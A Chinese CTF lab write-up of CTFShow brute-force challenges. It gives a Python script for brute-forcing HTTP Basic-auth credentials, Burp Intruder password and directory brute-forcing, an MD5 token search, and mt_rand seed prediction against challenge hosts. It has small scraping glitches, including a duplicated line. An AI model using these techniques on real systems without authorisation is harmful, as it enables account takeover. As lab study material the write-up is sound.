CTFShow web入门刷题记录-爆破

CTFShow web入门刷题记录-爆破

web21

先下载提供的密码包,查看hint得知考点为tomcat

账号提示为amdin,点击提交并使用burpsuit抓包

发现底下为一串经过base64编码的文字,翻译后得知为admin:

得知提交格式为:账号:密码

传入intruder,选中并添加$

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xsSzs95u-1606660930041)(C:/Users/%E8%83%A1%E5%A5%87/AppData/Roaming/Typora/typora-user-images/image-20201121113538263.png)]

设置payloads,设置payload sets为custom iterator,并在position1中添加admin:

设置position 2 为我们下载的密码包

在payload processing中添加encode为base64并取消选择payload encoding的URL-encode

点击上方intruder,开始爆破

跑完进行length排序,选择234查看response得到flag

同时hint提供了一个脚本,代码如下

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-11-20 19:16:49
# @Last Modified by:   h1xa
# @Last Modified time: 2020-11-20 20:28:42
# @email: [email protected]
# @link: https://ctfer.com

import time
import requests
import base64

url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php'

password = []

with open("1.txt", "r") as f:  
	while True:
	    data = f.readline() 
	    if data:
	    	password.append(data)
	    else:
	      break
	    


for p in password:
	strs = 'admin:'+ p[:-1]
	header={
		'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
	}
	rep =requests.get(url,headers=header)
	time.sleep(0.2)
	if rep.status_code ==200:
		print(rep.text)
		break

flag:flag{b829f0dc-9f87-4a91-94e2-36c5cc7d58ee}

web22

提示:域名也可以爆破的,试试爆破这个ctfer.com 的子域名

使用在线或者离线的子域名挖掘,爆破无果,查看hint得知访问http://flag.ctfer.com/index.php得到flag

flag:flag{ctf_show_web}

web23

根据代码编写脚本

import hashlib
dic = "0123456789qazwsxedcrfvtgbyhnujmikolp"
for a in dic:
    for b in dic:
        t = (str(a)+str(b)).encode("utf-8")
        md5 = hashlib.md5(t).hexdigest()
        if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
            if int(md5[1:2])+int(md5[14:15])+int(md5[17:18])/int(md5[1:2])==int(md5[31:32]):
                print(t)

运行后得到3j,在url后加上?token=3j得到flag

flag:flag{8c6583b6-cd2f-4858-8eec-bfb070a40a1e}

web24

知识点:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,每次生成的随机数 是一样的

编写php脚本


mt_srand(372619038);
echo mt_rand();
?>

运行得到1155388967

通过get传参得到flag

flag:flag{e4b97404-95cb-469c-92be-b2a129903d42}

web25

分析代码后得知与web24一样同样存在伪随机漏洞

先构造r=0得到第一个随机值:928156507(每个人可能不一样)

从https://github.com/lepiaf/php_mt_seed下载文件按照提示进行编译运行得到该随机值的可能seed

在使用php脚本得到第二三次随机值之和


mt_srand(4059711086);
echo mt_rand()."
"
; echo mt_rand()+mt_rand()."
"
; ?>

使用burpsuit抓包,添加cookie值,发送得到flag

flag:flag{e72a7420-2c51-4726-800c-af6045f2b780}

web26

提示这个可以爆破

抓包,对密码进行爆破,使用之前给的字典后得到密码为7758521

非预期解:

先查看源代码发现一个check函数

function check(){
			$.ajax({
			url:'checkdb.php',
			type: 'POST',
			dataType:'json',
			data:{
				'a':$('#a').val(),
				'p':$('#p').val(),
				'd':$('#d').val(),
				'u':$('#u').val(),
				'pass':$('#pass').val()
			},
			success:function(data){
				alert(data['msg']);
			},
			error:function(data){
				alert(data['msg']);
			}

		});
		}

使用burpsuit抓包,修改,发送得到flag

flag:flag{8b483c82-e442-412c-8c13-9124ae38cd0b}

web27

打开发现录取名单可以下载

发现身份证号缺失一些,盲猜要爆破

发现学生学籍信息查询系统,打开发现需要姓名身份证,使用burpsuit抓包进行爆破

后面发现好像环境有点问题,以后有空再写

web28

打开发现where is flag?

看了看地址发现/0/1/2.txt,猜测爆破目录,查看hint果然如此

使用burpsuit抓包,修改type为Cluster Bomb,删除2.txt

payload type选择number范围从0-100,步长1

等了亿会会得到了结果

ber范围从0-100,步长1

等了亿会会得到了结果

flag:flag{9e7c7af3-bf98-49a4-a217-7fe85cbcc29e}

你可能感兴趣的:(做题记录)